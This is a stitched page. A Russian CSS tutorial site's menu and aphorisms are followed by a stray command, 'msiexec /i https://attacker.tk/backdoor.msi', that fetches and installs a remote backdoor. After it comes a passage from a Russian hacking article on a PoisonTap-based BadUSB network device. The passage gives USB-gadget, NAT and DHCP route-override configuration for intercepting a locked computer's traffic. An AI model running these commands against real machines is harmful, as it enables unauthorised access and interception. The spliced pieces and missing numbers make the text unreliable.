Невозможно отучить людей изучать самые ненужные предметы.
Введение в CSS
Преимущества стилей
Добавления стилей
Типы носителей
Базовый синтаксис
Значения стилевых свойств
Селекторы тегов
Классы
CSS3
Надо знать обо всем понемножку, но все о немногом.
Идентификаторы
Контекстные селекторы
Соседние селекторы
Дочерние селекторы
Селекторы атрибутов
Универсальный селектор
Псевдоклассы
Псевдоэлементы
Кто умеет, тот делает. Кто не умеет, тот учит. Кто не умеет учить - становится деканом. (Т. Мартин)
Группирование
Наследование
Каскадирование
Валидация
Идентификаторы и классы
Написание эффективного кода
Вёрстка
Изображения
Текст
Цвет
Линии и рамки
Углы
Списки
Ссылки
Дизайны сайтов
Формы
Таблицы
CSS3
HTML5
Блог для вебмастеров
Новости мира Интернет
Сайтостроение
Ремонт и советы
Все новости
Справочник от А до Я
HTML, CSS, JavaScript
Афоризмы о учёбе
Статьи об афоризмах
Все Афоризмы
Помогли мы вам |
msiexec /i https://attacker.tk/backdoor.msi
В итоге на «ручную» компрометацию оставленной без присмотра разблокированной персоналки потребуется всего три‑четыре секунды! Компьютеры сегодня повсюду, и торчащие наружу USB-порты можно увидеть достаточно часто.
Объектом атаки может стать заблокированный компьютер, оставленный без присмотра на короткое время, либо терминал, либо стенд с торчащим наружу USB-портом.
Эта статья — часть серии публикаций о практических приемах взлома и атак с использованием подручных устройств, которые можно собрать дома. В этих материалах мы раскрываем простые способы получения несанкционированного доступа к защищенной информации и показываем, как ее оградить от подобных атак. Предыдущая статья серии: «Очень плохая флешка. Разбираем атаку BadUSB в деталях».
Подключаемое устройство BadUSB-ETH определяется как сетевая карта Еthernet. На самом деле это не просто сетевая карта, а устройство, внутри которого полноценный компьютер со своей ОС. И мы реализуем достаточно хитрую цепочку из множества атак. По сути, это собственная, более узко заточенная реализация Bash Bunny от Hak5. А за основу мы возьмем открытый проект PoisonTap.
Первое и самое главное — это то, как мы настраиваем сеть на атакуемой машине. В момент подключения интерфейс именно создается, а не поднимается. Это значит, что сразу после подключения ПК запросит настройки по DHCP (дефолтное поведение). В ответ на такой запрос наше устройство выдает не совсем обычную конфигурацию сети, при которой она станет приоритетной и перекроет все активные сетевые подключения на атакуемом компьютере. Достигается это через более короткие маски маршрутов:
0.0.0.0/0 via 10.10.0.1 <- исходный дефолтный маршрут, все пакеты изначально идут по нему
0.0.0.0/1 via 1.0.0.1 <- наш маршрут, перекрывающий первые 50% IPv4-сетей
128.0.0.0/1 via 1.0.0.1 <- второй маршрут, перекрывающий вторые 50% IPv4-сетей (маска короче, поэтому маршрут приоритетнее)
Во всех современных ОС маршрутизация в IP-сетях строится по единому принципу: чем короче маска сети у маршрута, тем приоритетнее маршрут. Это главное правило маршрутизации. И в нашем случае маска /
чуть короче маски /
дефолтного маршрута.
После применения таких настроек нового сетевого подключения все пакеты от других сетевых интерфейсов пойдут по новому маршруту — уже в наше хакерское устройство, и мы как бы «вытянем» весь трафик. Таким образом, мы сможем реально перехватывать весь сетевой трафик заблокированного устройства посредством обычного USB. Схематично атака представлена на рисунке ниже.
Не стоит забывать, что мы установили и обычный сетевой канал взаимодействия с заблокированным ПК. Учитывая это, на целевой машине может быть запущен целый спектр сетевых атак, который зависит лишь от твоей фантазии:
Наконец, наше устройство является еще и «супершлюзом», поскольку сетевой трафик, включая и смежные сетевые интерфейсы, идет теперь через него. Находясь в позиции «легального MITM», мы можем запустить еще ряд атак, предназначенных для перехвата трафика:
Устройство может быть реализовано на базе множества одноплатных решений. Наиболее легковесное и известное среди них — Raspberry Pi Zero (W). Эта плата не потребует дополнительного питания, необходимое напряжение берется от USB-порта компьютера. С целью индикации хода атак для простоты используем три светодиода со следующими ролями:
Большинство одноплатных ПК снабжены GPIO-пинами, с помощью которых можно подавать небольшое напряжение, необходимое для работы светодиодов.
Соответственно, чтобы зажечь, а потом погасить светодиод, подключенный, например, к 26-му пину, потребуется выполнить следующие команды ОС внутри платы:
raspi-gpio set 26 op dh
sleep 1
raspi-gpio set 26 op dl
Эмуляция Ethernet-устройства, как и эмуляция других видов USB-девайсов, поддерживается непосредственно ядром Linux через так называемые USB-гаджеты. Очень красиво такую атаку продемонстрировал Сами Камкар (Sami Kamkar) в проекте под названием PoisonTap:
git clone https://github.com/samyk/poisontap
ln -s~/poisontap /opt/poisontap
Именно этот инструмент взят за основу, особенно в эмуляции сетевой карты, но с некоторыми улучшениями:
rmmod g_ether
cd/sys/kernel/config/usb_gadget/
mkdir -ppoisontap
cd poisontap
echo 0x0694 >idVendor
echo 0x0005 >idProduct
mkdir -pstrings/0x409
echo "Samy Kamkar" >strings/0x409/manufacturer
echo "PoisonTap" >strings/0x409/product
# RNDIS
mkdir configs/c.2
echo "0xC0" >configs/c.2/bmAttributes
echo "1" >configs/c.2/MaxPower
mkdir configs/c.2/strings/0x409
echo "RNDIS" >configs/c.2/strings/0x409/configuration
echo "1" >os_desc/use
echo "0xcd" >os_desc/b_vendor_code
echo "MSFT100" >os_desc/qw_sign
mkdir functions/rndis.usb0
echo "42:61:64:55:53:45" >functions/rndis.usb0/dev_addr
echo "48:6f:73:74:50:44" >functions/rndis.usb0/host_addr
echo "RNDIS" >functions/rndis.usb0/os_desc/interface.rndis/compatible_id
echo "5162001" >functions/rndis.usb0/os_desc/interface.rndis/sub_compatible_id
ln -sfunctions/rndis.usb0 configs/c.2
ln -sconfigs/c.2 os_desc
ls/sys/class/udc > UDC
modprobe g_ether
sleep 10
ifup usb0
ifconfig usb0 up
/sbin/route add -net0.0.0.0/0 usb0
/etc/init.d/isc-dhcp-server restart
/sbin/sysctl -wnet.ipv4.ip_forward=1
#/sbin/iptables -t nat -A PREROUTING -i usb0 -p tcp --dport 80 -j REDIRECT --to-port 1337
#/usr/bin/screen -dmS dnsspoof /usr/sbin/dnsspoof -i usb0 port 53
#/usr/bin/screen -dmS node /usr/bin/nodejs /home/pi/poisontap/pi_poisontap.js
iptables -t nat -APOSTROUTING -ousb0 -jMASQUERADE
Поскольку атака кросс‑платформенная, требуется настройка эмуляции сразу двух составных USB-устройств: для сетевых карт RNDIS (Windows) и CDC (Unix). Перекрытие сетевых интерфейсов задается в файле dhcpd.
:
subnet 0.0.0.0 netmask 128.0.0.0 {
range 1.0.0.10 1.0.0.50;
option broadcast-address 255.255.255.255;
option routers 1.0.0.1;
default-lease-time 600;
max-lease-time 7200;
option domain-name "local";
option domain-name-servers 1.0.0.1;
# send the routes for both the top and bottom of the IPv4 address space
option classless-routes 1,0,1,0,0,1, 1,128,1,0,0,1;
option classless-routes-win 1,0,1,0,0,1, 1,128,1,0,0,1;
}
|
|